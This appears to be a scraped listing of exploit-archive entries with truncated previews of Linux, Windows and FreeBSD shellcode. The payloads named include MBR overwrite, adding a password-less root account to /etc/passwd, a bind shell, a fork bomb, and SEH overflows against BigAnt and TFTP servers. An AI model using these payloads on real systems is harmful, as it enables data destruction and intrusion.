linux/x86 chmod 666 /etc/shadow 27 bytes

Exploit for linux/x86 platform in category shellcode ======================================== linux/x86 chmod 666 /etc/shadow 27 bytes ======================================== ; linux/x86 chmod 666 /etc/shadow 27 bytes ; email protected ; 2010-01-15 section .text global start start: ;...

linux/x86 overwrite MBR on /dev/sda with `LOL!` 43 bytes

Exploit for linux/x86 platform in category shellcode ======================================================== linux/x86 overwrite MBR on /dev/sda with LOL! 43 bytes ======================================================== ; linux/x86 overwrite MBR on /dev/sda with LOL! 43 bytes section .text glob...

Windows XP Pro Sp2 English "Wordpad" Shellcode

No description provided by source. view source print? +-------------------------------------------------+ | Windows XP Pro Sp2 English "Wordpad" Shellcode. | +-------------------------------------------------+ Size : 12 Bytes,Null Free. Author : Aodrulez. Email : [email protected] Milw0rm :...

win32/xp Pro Sp2 English "Wordpad" Shellcode

Exploit for win32 platform in category shellcode ============================================ win32/xp Pro Sp2 English "Wordpad" Shellcode ============================================ +-------------------------------------------------+ | Windows XP Pro Sp2 English "Wordpad" Shellcode. |...

linux/x86 append "/etc/passwd" & exit 107 bytes

linux/x86 append "/etc/passwd" & exit 107 bytes. Shellcode exploit for linx86 platform / appendpasswd.c Payload: Adds the string: toor::0:0:t00r:/root:/bin/bash to /etc/passwd thereby adding a password-less root account with login name "toor" Platform: linux/x86 Size: 107 bytes Author: $andman / ...

freebsd/x86 portbind shellcode 167 bytes

No description provided by source. /- Copyright c 2009, Sofian Brabez [email protected] freebsd-x86-portbind.c - FreeBSD x86 portbind a shell /bin/sh on 1337 \x05\x39 167 bytes / const char shellcode = "\x6a\x00" // push $0x0 "\x6a\x01" // push $0x1 "\x6a\x02" // push $0x2 "\x50" // push %eax "\x6a\x6...

linux/x86 fork bomb 6 bytes

linux/x86 fork bomb 6 bytes. Shellcode exploit for linx86 platform Smallest fork bomb shellcode I could make. ; linux/x86 fork bomb 6 bytes ; root@thegibson ; 2009-12-30 section .text global start start: ; fork mov al, 2 int 0x80 jmp short start...

BigAnt Server 2.52 Overflow

!/usr/bin/python import socket, sys BigAnt version 2.52 0day Tested on XPSP2 & Win2k3 SP2 Discovered by Lincoln Thanks to muts & remote-exploit 650 or so bytes available after seh, easier to jump back root@BT4VM: ./bigant.py 192.168.87.130 Exploit sent! Connect to remote host on port 4444...

linux/x86 break chroot 87 bytes

No description provided by source. bt:/ ./pwn perl -e 'print "\x90"x181...

linux/x86 break chroot 87 bytes

Exploit for linux/x86 platform in category shellcode =============================== linux/x86 break chroot 87 bytes =============================== bt:/ ./pwn perl -e 'print "\x90"x181...

win32/xp sp2 (En + Ar) cmd.exe 23 bytes

No description provided by source. / win32/xp sp2 En + Ar cmd.exe 23 bytes Author : AnTi SeCuRe TeaM : SauDi ViRuS TeaM Email : [email protected] Site : WwW.VxX9.Cc Thx To : Stack , SauDi ViRuS TeaM RENO - Dr.php - ! BaD BoY ! - Jetli007 - Gov.hacker Description : It's a 23 Byte Shellcode...

linux/x86 fork bomb 6 bytes

No description provided by source. Smallest fork bomb shellcode I could make. ; linux/x86 fork bomb 6 bytes ; root@thegibson ; 2009-12-30 section .text global start start: ; fork mov al, 2 int 0x80 jmp short start...

linux/x86 unlink(/etc/passwd) & exit() 35 bytes

No description provided by source. Title: linux/x86 unlink/etc/passwd & exit 35 bytes Date: 2009-12-24 Author: sandman, n4mdn4s 4T gmail D0T com Tested on: linux/Fedora 12 Code : / unlinkpasswd.c Platform: linux/x86 Size: 35 bytes Author: $andman / include string.h include stdio.h char shell =...

BigAnt Server 2.52 - Remote Overflow (SEH)

!/usr/bin/python import socket, sys BigAnt version 2.52 0day Tested on XPSP2 & Win2k3 SP2 Discovered by Lincoln Thanks to muts & remote-exploit 650 or so bytes available after seh, easier to jump back root@BT4VM: ./bigant.py 192.168.87.130 Exploit sent! Connect to remote host on port 4444...

win32/xp sp2 En + Ar cmd.exe 23 bytes

win32/xp sp2 En + Ar cmd.exe 23 bytes. Shellcode exploit for win32 platform / win32/xp sp2 En + Ar cmd.exe 23 bytes Author : AnTi SeCuRe TeaM : SauDi ViRuS TeaM Email : [email protected] Site : WwW.VxX9.Cc Thx To : Stack , SauDi ViRuS TeaM RENO - Dr.php - ! BaD BoY ! - Jetli007 - Gov.hacker...

freebsd/x86 portbind shellcode 167 bytes

freebsd/x86 portbind shellcode 167 bytes. Shellcode exploit for freebsdx86 platform /- Copyright c 2009, Sofian Brabez freebsd-x86-portbind.c - FreeBSD x86 portbind a shell /bin/sh on 1337 \x05\x39 167 bytes / const char shellcode = "\x6a\x00" // push $0x0 "\x6a\x01" // push $0x1 "\x6a\x02" // pu...

win32/xp sp2 calc.exe 45 bytes

Exploit for win32 platform in category shellcode ============================== win32/xp sp2 calc.exe 45 bytes ============================== / win32/xp sp2 calc.exe 45 bytes Author : Mountassif Moad Big Thnx : To my brother iuoisn & His0ka & Jadi ...... Mr.Safa7 Changed by : Stack First shellcod...

linux/x86 unlink(/etc/passwd) & exit() 35 bytes

Exploit for linux/x86 platform in category shellcode =============================================== linux/x86 unlink/etc/passwd & exit 35 bytes =============================================== Title: linux/x86 unlink/etc/passwd & exit 35 bytes Date: 2009-12-24 Author: sandman Tested on:...

Important: Red Hat Security Advisory: rhev-hypervisor security and bug fix update

An updated rhev-hypervisor package that fixes security issues and several bugs is now available. This update has been rated as having important security impact by the Red Hat Security Response Team. The rhev-hypervisor package provides a Red Hat Enterprise Virtualization RHEV Hypervisor ISO disk...

TFTP Server 1.4 - Remote Buffer Overflow (2)

TFTP Server 1.4 - Remote Buffer Overflow 2 !/usr/bin/env python This vuln is already owned by Muts , but i want to add the second methode Note: we don't have more space for shellcode or Skape egghunter 23 bytes only after SEH option I used the jumpback because is the best and easiest way for...